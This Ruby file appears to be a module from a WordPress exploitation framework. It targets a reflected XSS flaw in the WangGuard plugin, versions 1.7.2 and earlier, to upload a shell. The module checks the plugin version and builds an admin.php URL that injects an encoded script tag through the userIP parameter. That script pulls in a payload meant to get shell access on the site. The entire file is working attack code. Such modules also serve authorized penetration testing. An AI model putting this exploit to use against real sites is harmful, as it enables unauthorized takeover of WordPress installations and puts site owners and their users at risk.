# frozen_string_literal: true

class Wpxf::Exploit::WangGuardReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'Wang Guard <= 1.7.2 Reflected XSS Shell Upload',
      author: [
        'Paul Williams <phyushin[at]phyubox.com>'  # WPXF module
      ],
      references: [
        ['WPVDB', '8725'],
        ['URL', 'https://www.pluginvulnerabilities.com/2017/01/17/reflected-cross-site-scripting-xss-vulnerability-in-wangguard/']
      ],
      date: 'Jan 17 2017'
    )
  end

  def check
    check_plugin_version_from_readme('wangguard', '1.7.3')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php')
  end

  def url_with_xss
    "#{vulnerable_url}?page=wangguard_users_info&userIP=%3E%3Cscript%3E#{xss_url_and_ascii_encoded_include_script}%3C%2Fscript%3E%3C"
  end
end
